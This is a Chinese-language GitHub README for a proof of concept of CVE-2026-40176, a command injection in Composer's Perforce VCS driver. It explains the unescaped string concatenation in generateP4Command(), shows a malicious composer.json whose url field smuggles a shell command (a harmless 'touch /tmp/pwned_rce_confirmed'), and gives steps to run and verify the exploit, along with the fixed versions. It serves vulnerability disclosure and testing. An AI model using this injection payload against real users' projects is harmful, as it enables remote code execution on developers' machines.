Saku0512/CVE-2026-40176-poc
GitHub: Saku0512/CVE-2026-40176-poc
该仓库提供 CVE-2026-40176 的 PoC,用于演示与验证 Composer Perforce 驱动中的命令注入漏洞。
Stars: 2 | Forks: 0
# CVE-2026-40176:Composer Perforce OS 命令注入 PoC
## 描述
本仓库包含 **CVE-2026-40176** 的概念验证(PoC),这是一个在 **Composer** 的 Perforce VCS 驱动程序(2.2.27 之前和 2.9.6 之前的版本)中发现的严重操作系统命令注入漏洞。
该漏洞存在于 `Perforce::generateP4Command()` 方法中。由于在构建 Shell 命令时未对仓库配置参数(如 `url`、`p4user` 或 `client`)进行充分清理,攻击者可以通过控制 `composer.json` 文件,在受害者执行 `composer install` 或 `composer update` 时执行任意命令。
**发现者:saku0512** ([GitHub](https://github.com/Saku0512))
## ⚠️ 免责声明
本项目仅用于教育和道德安全测试目的。
作者不对任何误用、损害或非法活动负责。未经授权访问计算机系统是违法行为。使用本软件时,请确保仅在已获得明确许可的环境中进行安全测试。
## 漏洞详情
- **CVE ID**:CVE-2026-40176
- **类型**:操作系统命令注入(CWE-78)
- **影响**:远程代码执行(RCE)
- **受影响版本**:
- Composer 2.0.0 <= v2.2.26
- Composer 2.3.0 <= v2.9.5
- **修复版本**:v2.2.27 / v2.9.6
## 根本原因
`src/Composer/Util/Perforce.php` 中的 `generateP4Command()` 方法通过直接拼接字符串来构建 Shell 命令:
```
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // Unescaped
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // Unescaped
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // Unescaped
```
如果这些字段包含 Shell 元字符(例如 `;`、`&`、`|`),它们将被系统 Shell 解释,从而导致命令注入。
## 概念验证(使用方法)
### 1. 环境准备
确保已安装 PHP。本 PoC 模拟了 Composer 中存在漏洞的逻辑。
```
# 检查 PHP 版本
php -v
```
### 2. 配置(恶意 composer.json)
攻击者可以构造如下 `composer.json`:
```
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
```
### 3. 执行 PoC
运行提供的 `poc.php` 脚本,以重现受影响版本中命令生成与执行的逻辑。
```
# 运行 PoC
php poc.php
```
### 4. 验证
通过检查 Payload 创建的文件是否存在来验证命令是否成功执行:
```
ls -l /tmp/pwned_rce_confirmed
```
如果文件存在,则确认 RCE 成功。
## 修复建议
请立即将 Composer 更新至最新版本:
```
composer self-update
```
修复措施涉及对所有用户提供的参数使用 `ProcessExecutor::escape()` 进行转义,以防止 Shell 解释。
## 参考
- [CVE-2026-40176 (cve.org)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40176)
- [Composer Security Advisory](https://github.com/composer/composer/security/advisories/GHSA-wg36-wvj6-r67p)
标签:Composer, composer.json, Cutter, CVE, CWE-78, ffuf, OS命令注入, Perforce, PHP安全, PoC, RCE, saku0512, shell注入, VCS驱动, 命令注入, 字符串拼接, 安全测试, 安全漏洞, 攻击性安全, 教育用途, 数字签名, 暴力破解, 版本漏洞, 编程工具, 远程代码执行